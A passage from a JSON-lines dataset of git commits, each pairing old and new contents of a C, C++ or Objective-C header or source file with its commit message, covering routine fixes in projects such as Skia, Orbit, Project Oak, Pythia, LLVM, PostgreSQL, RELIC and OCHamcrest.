remaining\nRW: 23192 bytes in flash remaining\n\nservo_micro after this change:\nRO: 18808 bytes in flash remaining\nRW: 23256 bytes in flash remaining\n\nBRANCH=none\nBUG=b:172020503\nTEST=CC=clang make BOARD=servo_micro\nTEST=make buildall\n\nSigned-off-by: Tom Hughes <fc5c12f30a5ed2baa0581f44ee14ad1eb7b20d83@chromium.org>\nChange-Id: Ibc19a3670127dde211fb20d247c1284d0aec5f61\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/3199739\nReviewed-by: Jack Rosenthal <d3f605bef1867f59845d4ce6e4f83b8dc9e4e0ae@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"173dee2eb85f7d8ea0ca491f3683382ae8754ca7","old_file":"include\/effects\/SkStippleMaskFilter.h","new_file":"include\/effects\/SkStippleMaskFilter.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkStippleMaskFilter_DEFINED\n#define SkStippleMaskFilter_DEFINED\n\n#include \"SkMaskFilter.h\"\n\n\/**\n * Simple MaskFilter that creates a screen door stipple pattern\n *\/\nclass SkStippleMaskFilter : public SkMaskFilter {\npublic:\n    SkStippleMaskFilter() : INHERITED() {\r\n    }\r\n\r\n    virtual bool filterMask(SkMask* dst, const SkMask& src,\n                            const SkMatrix& matrix,\n                            SkIPoint* margin) SK_OVERRIDE;\n\n    \/\/ getFormat is from SkMaskFilter\n    virtual SkMask::Format getFormat() SK_OVERRIDE {\n        return SkMask::kA8_Format;\n    }\n\n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(SkStippleMaskFilter);\n\nprotected:\n    SkStippleMaskFilter::SkStippleMaskFilter(SkFlattenableReadBuffer& buffer)\r\n    : SkMaskFilter(buffer) {\r\n    }\n\nprivate:\n    typedef SkMaskFilter INHERITED;\n};\n\n#endif \/\/ SkStippleMaskFilter_DEFINED","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkStippleMaskFilter_DEFINED\n#define SkStippleMaskFilter_DEFINED\n\n#include \"SkMaskFilter.h\"\n\n\/**\n * Simple MaskFilter that creates a screen door stipple pattern\n *\/\nclass SkStippleMaskFilter : public SkMaskFilter {\npublic:\n    SkStippleMaskFilter() : INHERITED() {\n    }\n\n    virtual bool filterMask(SkMask* dst, const SkMask& src,\n                            const SkMatrix& matrix,\n                            SkIPoint* margin) SK_OVERRIDE;\n\n    \/\/ getFormat is from SkMaskFilter\n    virtual SkMask::Format getFormat() SK_OVERRIDE {\n        return SkMask::kA8_Format;\n    }\n\n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(SkStippleMaskFilter);\n\nprotected:\n    SkStippleMaskFilter(SkFlattenableReadBuffer& buffer)\n    : SkMaskFilter(buffer) {\n    }\n\nprivate:\n    typedef SkMaskFilter INHERITED;\n};\n\n#endif \/\/ SkStippleMaskFilter_DEFINED\n","subject":"Fix for compiler error in r4154","message":"Fix for compiler error in r4154\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@4155 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"mrobinson\/skia,mrobinson\/skia,metajack\/skia,metajack\/skia,mrobinson\/skia,mrobinson\/skia,Cue\/skia,Cue\/skia,metajack\/skia,mrobinson\/skia,Cue\/skia,metajack\/skia,Cue\/skia"}
{"commit":"f0fb14cade4f14185481851a739313bf81d4f8c6","old_file":"include\/samplers\/stratified_sampler.h","new_file":"include\/samplers\/stratified_sampler.h","old_contents":"#ifndef STRATIFIED_SAMPLER_H\n#define STRATIFIED_SAMPLER_H\n\n#include <random>\n#include <memory>\n#include <array>\n#include <vector>\n#include \"sampler.h\"\n\n\/*\n * A stratified sampler, generates multipled jittered\n * samples per pixel in its sample region\n *\/\nclass StratifiedSampler : public Sampler {\n\tconst int spp;\n\tstd::mt19937 rng;\n\tstd::uniform_real_distribution<float> distrib;\n\npublic:\n\tStratifiedSampler(int x_start, int x_end, int y_start, int y_end, int spp);\n\t\/*\n\t * Get some {x, y} positions to sample in the space being sampled\n\t * If the sampler has finished sampling samples will be empty\n\t *\/\n\tvoid get_samples(std::vector<Sample> &samples) override;\n\t\/*\n\t * Get subsamplers that divide the space to be sampled\n\t * into count disjoint subsections where each samples a w x h\n\t * section of the original sampler\n\t *\/\n\tstd::vector<std::unique_ptr<Sampler>> get_subsamplers(int w, int h) const override;\n\nprivate:\n\t\/*\n\t * Generate a 2d pattern of stratified samples and return them\n\t * sample positions will be normalized between [0, 1)\n\t *\/\n\tvoid sample2d(std::vector<Sample> &samples);\n};\n\n#endif\n\n","new_contents":"#ifndef STRATIFIED_SAMPLER_H\n#define STRATIFIED_SAMPLER_H\n\n#include <random>\n#include <memory>\n#include <array>\n#include <vector>\n#include \"sampler.h\"\n\n\/*\n * A stratified sampler, generates multipled jittered\n * samples per pixel in its sample region\n *\/\nclass StratifiedSampler : public Sampler {\n\tconst int spp;\n\tstd::minstd_rand rng;\n\tstd::uniform_real_distribution<float> distrib;\n\npublic:\n\tStratifiedSampler(int x_start, int x_end, int y_start, int y_end, int spp);\n\t\/*\n\t * Get some {x, y} positions to sample in the space being sampled\n\t * If the sampler has finished sampling samples will be empty\n\t *\/\n\tvoid get_samples(std::vector<Sample> &samples) override;\n\t\/*\n\t * Get subsamplers that divide the space to be sampled\n\t * into count disjoint subsections where each samples a w x h\n\t * section of the original sampler\n\t *\/\n\tstd::vector<std::unique_ptr<Sampler>> get_subsamplers(int w, int h) const override;\n\nprivate:\n\t\/*\n\t * Generate a 2d pattern of stratified samples and return them\n\t * sample positions will be normalized between [0, 1)\n\t *\/\n\tvoid sample2d(std::vector<Sample> &samples);\n};\n\n#endif\n\n","subject":"Fix stratified sampler to use minstd_rand","message":"Fix stratified sampler to use minstd_rand\n\nstill unsure why mt19937 suddenly started segfaulting\n","lang":"C","license":"mit","repos":"Twinklebear\/tray,Twinklebear\/tray"}
{"commit":"d536ccd55ebdcded7dddc53f93022b0366d6739c","old_file":"OrbitGl\/ThreadStateTrack.h","new_file":"OrbitGl\/ThreadStateTrack.h","old_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_GL_THREAD_STATE_TRACK_H_\n#define ORBIT_GL_THREAD_STATE_TRACK_H_\n\n#include \"Track.h\"\n\n\/\/ This is a track dedicated to displaying thread states in different colors\n\/\/ and with the corresponding tooltips.\n\/\/ It is a thin sub-track of ThreadTrack, added above the callstack track (EventTrack).\n\/\/ The colors are determined only by the states, not by the color assigned to the thread.\n\nclass ThreadStateTrack final : public Track {\n public:\n  ThreadStateTrack(TimeGraph* time_graph, int32_t thread_id);\n  Type GetType() const override { return kThreadStateTrack; }\n\n  void Draw(GlCanvas* canvas, PickingMode picking_mode, float z_offset) override;\n  void UpdatePrimitives(uint64_t min_tick, uint64_t max_tick, PickingMode picking_mode,\n                        float z_offset) override;\n\n  void OnPick(int x, int y) override;\n  void OnRelease() override { picked_ = false; };\n  float GetHeight() const override { return size_[1]; }\n\n  bool IsEmpty() const;\n\n private:\n  std::string GetThreadStateSliceTooltip(PickingId id) const;\n};\n\n#endif  \/\/ ORBIT_GL_THREAD_STATE_TRACK_H_\n","new_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_GL_THREAD_STATE_TRACK_H_\n#define ORBIT_GL_THREAD_STATE_TRACK_H_\n\n#include \"Track.h\"\n\n\/\/ This is a track dedicated to displaying thread states in different colors\n\/\/ and with the corresponding tooltips.\n\/\/ It is a thin sub-track of ThreadTrack, added above the callstack track (EventTrack).\n\/\/ The colors are determined only by the states, not by the color assigned to the thread.\n\nclass ThreadStateTrack final : public Track {\n public:\n  ThreadStateTrack(TimeGraph* time_graph, int32_t thread_id);\n  Type GetType() const override { return kThreadStateTrack; }\n\n  void Draw(GlCanvas* canvas, PickingMode picking_mode, float z_offset) override;\n  void UpdatePrimitives(uint64_t min_tick, uint64_t max_tick, PickingMode picking_mode,\n                        float z_offset) override;\n\n  void OnPick(int x, int y) override;\n  void OnDrag(int, int) override {}\n  void OnRelease() override { picked_ = false; };\n  float GetHeight() const override { return size_[1]; }\n\n  bool IsEmpty() const;\n\n private:\n  std::string GetThreadStateSliceTooltip(PickingId id) const;\n};\n\n#endif  \/\/ ORBIT_GL_THREAD_STATE_TRACK_H_\n","subject":"Fix crash when dragging a thread state track","message":"Fix crash when dragging a thread state track\n\nOnly when you have enabled track_ordering_feature, this class inherit\nOnDrag from Track and crashed.\n\nRelated to b\/173093860.\n","lang":"C","license":"bsd-2-clause","repos":"google\/orbit,google\/orbit,google\/orbit,google\/orbit"}
{"commit":"27ce98404fc179d292bfc53f1c6b937b5b988461","old_file":"oak\/server\/logging_channel.h","new_file":"oak\/server\/logging_channel.h","old_contents":"\/*\n * Copyright 2019 The Project Oak Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef OAK_SERVER_LOGGING_CHANNEL_H\n#define OAK_SERVER_LOGGING_CHANNEL_H\n\n#include \"oak\/server\/channel.h\"\n\nnamespace oak {\n\n\/\/ A channel implementation that only has a send half, which logs to stderr the data written to it.\nclass LoggingChannelHalf final : public ChannelHalf {\n public:\n  uint32_t Write(absl::Span<const char> data) override {\n    std::string log_message(data.cbegin(), data.cend());\n    LOG(INFO) << \"LOG: \" << log_message;\n  };\n};\n\n}  \/\/ namespace oak\n\n#endif  \/\/ OAK_SERVER_LOGGING_CHANNEL_H\n","new_contents":"\/*\n * Copyright 2019 The Project Oak Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef OAK_SERVER_LOGGING_CHANNEL_H\n#define OAK_SERVER_LOGGING_CHANNEL_H\n\n#include \"oak\/server\/channel.h\"\n\nnamespace oak {\n\n\/\/ A channel implementation that only has a send half, which logs to stderr the data written to it.\nclass LoggingChannelHalf final : public ChannelHalf {\n public:\n  uint32_t Write(absl::Span<const char> data) override {\n    std::string log_message(data.cbegin(), data.cend());\n    LOG(INFO) << \"LOG: \" << log_message;\n    return data.size();\n  }\n};\n\n}  \/\/ namespace oak\n\n#endif  \/\/ OAK_SERVER_LOGGING_CHANNEL_H\n","subject":"Fix return value for logging channel write","message":"Fix return value for logging channel write\n","lang":"C","license":"apache-2.0","repos":"project-oak\/oak,project-oak\/oak,project-oak\/oak,project-oak\/oak,project-oak\/oak,project-oak\/oak,project-oak\/oak"}
{"commit":"7883bff6a155c116fd60000f10a2d4dd4c06b411","old_file":"src\/Pythia\/stdafx.h","new_file":"src\/Pythia\/stdafx.h","old_contents":"#pragma once\n\n#ifdef _WIN32\n#include <SDKDDKVer.h>\n\n\/\/#define WIN32_LEAN_AND_MEAN             \/\/ Exclude rarely-used stuff from Windows headers\n\/\/ Windows Header Files:\n#include <windows.h>\n\n#define tstring std::wstring\n#define WidenHelper(x)  L##x\n#define LITERAL(x) WidenHelper(x)\n\n#else \/\/ ifdef _WIN32\n\n#define tstring std::string\n#define LITERAL(x) (x)\n\n#endif\n\n\/* Don't let Python.h #define (v)snprintf as macro because they are implemented\n   properly in Visual Studio since 2015. *\/\n#if defined(_MSC_VER) && _MSC_VER >= 1900\n#  define HAVE_SNPRINTF 1\n#endif\n\n#include <queue>\n#include <random>\n#include <string>\n#include <vector>\n#include <unordered_set>\n#include <unordered_map>\n#include \"third_party\/spdlog\/spdlog.h\"\n","new_contents":"#pragma once\n\n#ifdef _WIN32\n#include <SDKDDKVer.h>\n\n\/\/#define WIN32_LEAN_AND_MEAN             \/\/ Exclude rarely-used stuff from Windows headers\n\/\/ Windows Header Files:\n#include <windows.h>\n\n#define tstring std::wstring\n#define WidenHelper(x)  L##x\n#define LITERAL(x) WidenHelper(x)\n\n#else \/\/ ifdef _WIN32\n\n#define tstring std::string\n#define LITERAL(x) (x)\n\n\/\/ Prevents this error: Failed getting file size from fd: Value too large for defined data type\n#define _FILE_OFFSET_BITS 64\n\n#endif\n\n\/* Don't let Python.h #define (v)snprintf as macro because they are implemented\n   properly in Visual Studio since 2015. *\/\n#if defined(_MSC_VER) && _MSC_VER >= 1900\n#  define HAVE_SNPRINTF 1\n#endif\n\n#include <queue>\n#include <random>\n#include <string>\n#include <vector>\n#include <unordered_set>\n#include <unordered_map>\n#include \"third_party\/spdlog\/spdlog.h\"\n","subject":"Fix the spdlog issue on 32bit systems: Failed getting file size from fd","message":"Fix the spdlog issue on 32bit systems: Failed getting file size from fd\n","lang":"C","license":"mit","repos":"overfl0\/Pythia,overfl0\/Pythia,overfl0\/Pythia,overfl0\/Pythia"}
{"commit":"b010d64f92a5b1c17aff474a6a7fcc872cb747d5","old_file":"test\/CFrontend\/2005-12-04-AttributeUsed.c","new_file":"test\/CFrontend\/2005-12-04-AttributeUsed.c","old_contents":"\/\/ RUN: %llvmgcc %s -S -emit-llvm -o - | llvm-as | llvm-dis | grep llvm.used | grep foo | grep X\n\nint X __attribute__((used));\nint Y;\n\nvoid foo() __attribute__((used));\n\nvoid foo() {}\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -emit-llvm -o - | llvm-as | llvm-dis | grep llvm.used | grep foo | grep X\n\nint X __attribute__((used));\nint Y;\n\n__attribute__((used)) void foo() {}\n\n","subject":"Adjust this to the wonky syntax that GCC expects.","message":"Adjust this to the wonky syntax that GCC expects.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@30670 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"839be02ee16872973c68acfe3fad9e51c57c8c5e","old_file":"src\/backend\/nodes\/nodes.c","new_file":"src\/backend\/nodes\/nodes.c","old_contents":"\/*-------------------------------------------------------------------------\n *\n * nodes.c\n *\t  support code for nodes (now that we get rid of the home-brew\n *\t  inheritance system, our support code for nodes get much simpler)\n *\n * Portions Copyright (c) 1996-2003, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n *\n * IDENTIFICATION\n *\t  $PostgreSQL: pgsql\/src\/backend\/nodes\/nodes.c,v 1.22 2003\/11\/29 19:51:49 pgsql Exp $\n *\n * HISTORY\n *\t  Andrew Yu\t\t\tOct 20, 1994\tfile creation\n *\n *-------------------------------------------------------------------------\n *\/\n#include \"postgres.h\"\n\n#include \"nodes\/nodes.h\"\n\n\/*\n * Support for newNode() macro\n *\/\n\nNode\t   *newNodeMacroHolder;\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * nodes.c\n *\t  support code for nodes (now that we have removed the home-brew\n *\t  inheritance system, our support code for nodes is much simpler)\n *\n * Portions Copyright (c) 1996-2003, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n *\n * IDENTIFICATION\n *\t  $PostgreSQL: pgsql\/src\/backend\/nodes\/nodes.c,v 1.23 2004\/05\/06 06:11:01 neilc Exp $\n *\n * HISTORY\n *\t  Andrew Yu\t\t\tOct 20, 1994\tfile creation\n *\n *-------------------------------------------------------------------------\n *\/\n#include \"postgres.h\"\n\n#include \"nodes\/nodes.h\"\n\n\/*\n * Support for newNode() macro\n *\/\n\nNode\t   *newNodeMacroHolder;\n","subject":"Fix grammatical error in comment.","message":"Fix grammatical error in comment.\n","lang":"C","license":"apache-2.0","repos":"lintzc\/gpdb,Quikling\/gpdb,ovr\/postgres-xl,greenplum-db\/gpdb,Postgres-XL\/Postgres-XL,edespino\/gpdb,arcivanov\/postgres-xl,snaga\/postgres-xl,cjcjameson\/gpdb,Chibin\/gpdb,atris\/gpdb,tpostgres-projects\/tPostgres,postmind-net\/postgres-xl,janebeckman\/gpdb,techdragon\/Postgres-XL,xinzweb\/gpdb,randomtask1155\/gpdb,Chibin\/gpdb,xuegang\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,0x0FFF\/gpdb,50wu\/gpdb,techdragon\/Postgres-XL,rubikloud\/gpdb,ahachete\/gpdb,xuegang\/gpdb,ahachete\/gpdb,lintzc\/gpdb,Quikling\/gpdb,tpostgres-projects\/tPostgres,zaksoup\/gpdb,foyzur\/gpdb,lisakowen\/gpdb,lpetrov-pivotal\/gpdb,zeroae\/postgres-xl,adam8157\/gpdb,xuegang\/gpdb,ahachete\/gpdb,lisakowen\/gpdb,zeroae\/postgres-xl,lisakowen\/gpdb,yuanzhao\/gpdb,snaga\/postgres-xl,rvs\/gpdb,kaknikhil\/gpdb,xinzweb\/gpdb,ashwinstar\/gpdb,zaksoup\/gpdb,xuegang\/gpdb,arcivanov\/postgres-xl,cjcjameson\/gpdb,CraigHarris\/gpdb,rvs\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb,kaknikhil\/gpdb,jmcatamney\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,jmcatamney\/gpdb,atris\/gpdb,adam8157\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,yazun\/postgres-xl,xuegang\/gpdb,chrishajas\/gpdb,yuanzhao\/gpdb,ahachete\/gpdb,adam8157\/gpdb,50wu\/gpdb,kmjungersen\/PostgresXL,Postgres-XL\/Postgres-XL,yuanzhao\/gpdb,lpetrov-pivotal\/gpdb,chrishajas\/gpdb,edespino\/gpdb,tangp3\/gpdb,0x0FFF\/gpdb,xuegang\/gpdb,pavanvd\/postgres-xl,adam8157\/gpdb,rubikloud\/gpdb,jmcatamney\/gpdb,rvs\/gpdb,ovr\/postgres-xl,foyzur\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,Chibin\/gpdb,tangp3\/gpdb,rvs\/gpdb,royc1\/gpdb,Quikling\/gpdb,tangp3\/gpdb,0x0FFF\/gpdb,foyzur\/gpdb,cjcjameson\/gpdb,kmjungersen\/PostgresXL,ahachete\/gpdb,tangp3\/gpdb,tangp3\/gpdb,royc1\/gpdb,randomtask1155\/gpdb,50wu\/gpdb,royc1\/gpdb,yazun\/postgres-xl,jmcatamney\/gpdb,lisakowen\/gpdb,0x0FFF\/gpdb,0x0FFF\/gpdb,zaksoup\/gpdb,jmcatamney\/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,yuanzhao\/gpdb,50wu\/gpdb,arcivanov\/postgres-xl,greenplum-db\/gpdb,zeroae\/postgres-xl,randomtask1155\/gpdb,rubikloud\/gpdb,edespino\/gpdb,chrishajas\/gpdb,tangp3\/gpdb,xuegang\/gpdb,0x0FFF\/gpdb,Quikling\/gpdb,zaksoup\/gpdb,oberstet\/postgres-xl,Chibin\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,postmind-net\/postgres-xl,royc1\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,cjcjameson\/gpdb,yazun\/postgres-xl,50wu\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,pavanvd\/postgres-xl,greenplum-db\/gpdb,ahachete\/gpdb,CraigHarris\/gpdb,kaknikhil\/gpdb,arcivanov\/postgres-xl,atris\/gpdb,ovr\/postgres-xl,Quikling\/gpdb,CraigHarris\/gpdb,randomtask1155\/gpdb,randomtask1155\/gpdb,yuanzhao\/gpdb,oberstet\/postgres-xl,janebeckman\/gpdb,chrishajas\/gpdb,Quikling\/gpdb,xuegang\/gpdb,rubikloud\/gpdb,rvs\/gpdb,edespino\/gpdb,Quikling\/gpdb,royc1\/gpdb,50wu\/gpdb,chrishajas\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,foyzur\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,kaknikhil\/gpdb,zeroae\/postgres-xl,Chibin\/gpdb,lintzc\/gpdb,Postgres-XL\/Postgres-XL,snaga\/postgres-xl,snaga\/postgres-xl,lisakowen\/gpdb,edespino\/gpdb,Chibin\/gpdb,tpostgres-projects\/tPostgres,randomtask1155\/gpdb,50wu\/gpdb,jmcatamney\/gpdb,yazun\/postgres-xl,lpetrov-pivotal\/gpdb,atris\/gpdb,xuegang\/gpdb,lpetrov-pivotal\/gpdb,postmind-net\/postgres-xl,ashwinstar\/gpdb,janebeckman\/gpdb,ashwinstar\/gpdb,Postgres-XL\/Postgres-XL,greenplum-db\/gpdb,ovr\/postgres-xl,pavanvd\/postgres-xl,Chibin\/gpdb,janebeckman\/gpdb,rvs\/gpdb,chrishajas\/gpdb,Chibin\/gpdb,greenplum-db\/gpdb,ahachete\/gpdb,ashwinstar\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,lintzc\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,pavanvd\/postgres-xl,ahachete\/gpdb,rubikloud\/gpdb,rvs\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,jmcatamney\/gpdb,rvs\/gpdb,adam8157\/gpdb,zaksoup\/gpdb,foyzur\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,tangp3\/gpdb,lintzc\/gpdb,CraigHarris\/gpdb,oberstet\/postgres-xl,kaknikhil\/gpdb,foyzur\/gpdb,ashwinstar\/gpdb,janebeckman\/gpdb,janebeckman\/gpdb,royc1\/gpdb,rubikloud\/gpdb,edespino\/gpdb,Postgres-XL\/Postgres-XL,royc1\/gpdb,janebeckman\/gpdb,kmjungersen\/PostgresXL,zaksoup\/gpdb,xinzweb\/gpdb,rvs\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,techdragon\/Postgres-XL,kaknikhil\/gpdb,atris\/gpdb,postmind-net\/postgres-xl,kmjungersen\/PostgresXL,edespino\/gpdb,CraigHarris\/gpdb,kmjungersen\/PostgresXL,xinzweb\/gpdb,yuanzhao\/gpdb,techdragon\/Postgres-XL,zaksoup\/gpdb,randomtask1155\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,tpostgres-projects\/tPostgres,adam8157\/gpdb,chrishajas\/gpdb,chrishajas\/gpdb,tangp3\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,yazun\/postgres-xl,arcivanov\/postgres-xl,ashwinstar\/gpdb,yuanzhao\/gpdb,foyzur\/gpdb,ashwinstar\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,oberstet\/postgres-xl,rubikloud\/gpdb,atris\/gpdb,ovr\/postgres-xl,postmind-net\/postgres-xl,atris\/gpdb,foyzur\/gpdb,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,oberstet\/postgres-xl,techdragon\/Postgres-XL,lpetrov-pivotal\/gpdb,yuanzhao\/gpdb,0x0FFF\/gpdb,0x0FFF\/gpdb,janebeckman\/gpdb,tpostgres-projects\/tPostgres,pavanvd\/postgres-xl,snaga\/postgres-xl"}
{"commit":"9be737da6e5afe90306f7e66d72024b7507323dc","old_file":"src\/arch\/relic_arch_avr.c","new_file":"src\/arch\/relic_arch_avr.c","old_contents":"","new_contents":"\/*\n * RELIC is an Efficient LIbrary for Cryptography\n * Copyright (C) 2007-2011 RELIC Authors\n *\n * This file is part of RELIC. RELIC is legal property of its developers,\n * whose names are not listed here. Please refer to the COPYRIGHT file\n * for contact information.\n *\n * RELIC is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * RELIC is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with RELIC. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @file\n *\n * Implementation of AVR-dependent routines.\n *\n * @version $Id$\n * @ingroup arch\n *\/\n\n\/*============================================================================*\/\n\/* Public definitions                                                         *\/\n\/*============================================================================*\/\n\nvoid arch_init(void) {\n}\n\nvoid arch_clean(void) {\n}\n","subject":"Add missing file for ARCH = AVR.","message":"Add missing file for ARCH = AVR.","lang":"C","license":"lgpl-2.1","repos":"ukscone\/relic,sruesch\/relic,tfar\/relic,OlegHahm\/relic,ukscone\/relic,ace0\/relic,ukscone\/relic,OlegHahm\/relic,ace0\/relic,sruesch\/relic,ace0\/relic,tfar\/relic,ace0\/relic,OlegHahm\/relic,tfar\/relic,sruesch\/relic"}
{"commit":"76665d06735e1b15af877bcaceae645d77488b55","old_file":"Source\/Library\/Object\/HCThrowsException.h","new_file":"Source\/Library\/Object\/HCThrowsException.h","old_contents":"\/\/  OCHamcrest by Jon Reid, http:\/\/qualitycoding.org\/about\/\n\/\/  Copyright 2015 hamcrest.org. See LICENSE.txt\n\n#import <OCHamcrest\/HCDiagnosingMatcher.h>\n\n\n\/*!\n * @abstract Does executing a block throw an exception which satisfies a nested matcher?\n *\/\n@interface HCThrowsException : HCDiagnosingMatcher\n\n- (id)initWithExceptionMatcher:(id)exceptionMatcher;\n\n@end\n\n\nFOUNDATION_EXPORT id HC_throwsException(id exceptionMatcher);\n\n#ifndef HC_DISABLE_SHORT_SYNTAX\n\/*!\n * @abstract Creates a matcher that matches when the examined object is a block which, when\n * executed, throws an exception satisfying the specified matcher.\n * @param exceptionMatcher The matcher to satisfy when passed the exception.\n * @discussion\n * <b>Example<\/b><br \/>\n * <pre>assertThat(^{ [obj somethingBad]; }, throwsException(anything())<\/pre>\n *\n * <b>Name Clash<\/b><br \/>\n * In the event of a name clash, <code>#define HC_DISABLE_SHORT_SYNTAX<\/code> and use the synonym\n * HC_throwsException instead.\n *\/\nstatic inline id throwsException(id exceptionMatcher)\n{\n    return HC_throwsException(exceptionMatcher);\n}\n#endif\n","new_contents":"\/\/  OCHamcrest by Jon Reid, http:\/\/qualitycoding.org\/about\/\n\/\/  Copyright 2015 hamcrest.org. See LICENSE.txt\n\n#import <OCHamcrest\/HCDiagnosingMatcher.h>\n\n\n\/*!\n * @abstract Does executing a block throw an exception which satisfies a nested matcher?\n *\/\n@interface HCThrowsException : HCDiagnosingMatcher\n\n- (id)initWithExceptionMatcher:(id)exceptionMatcher;\n\n@end\n\n\nFOUNDATION_EXPORT id HC_throwsException(id exceptionMatcher);\n\n#ifndef HC_DISABLE_SHORT_SYNTAX\n\/*!\n * @abstract Creates a matcher that matches when the examined object is a block which, when\n * executed, throws an exception satisfying the specified matcher.\n * @param exceptionMatcher The matcher to satisfy when passed the exception.\n * @discussion\n * <b>Example<\/b><br \/>\n * <pre>assertThat(^{ [obj somethingBad]; }, throwsException(hasProperty(@\"reason\", @\"EXPECTED REASON\")))<\/pre>\n *\n * <b>Name Clash<\/b><br \/>\n * In the event of a name clash, <code>#define HC_DISABLE_SHORT_SYNTAX<\/code> and use the synonym\n * HC_throwsException instead.\n *\/\nstatic inline id throwsException(id exceptionMatcher)\n{\n    return HC_throwsException(exceptionMatcher);\n}\n#endif\n","subject":"Improve throwsException example to use hasProperty","message":"Improve throwsException example to use hasProperty\n","lang":"C","license":"bsd-2-clause","repos":"hamcrest\/OCHamcrest,hamcrest\/OCHamcrest,hamcrest\/OCHamcrest"}
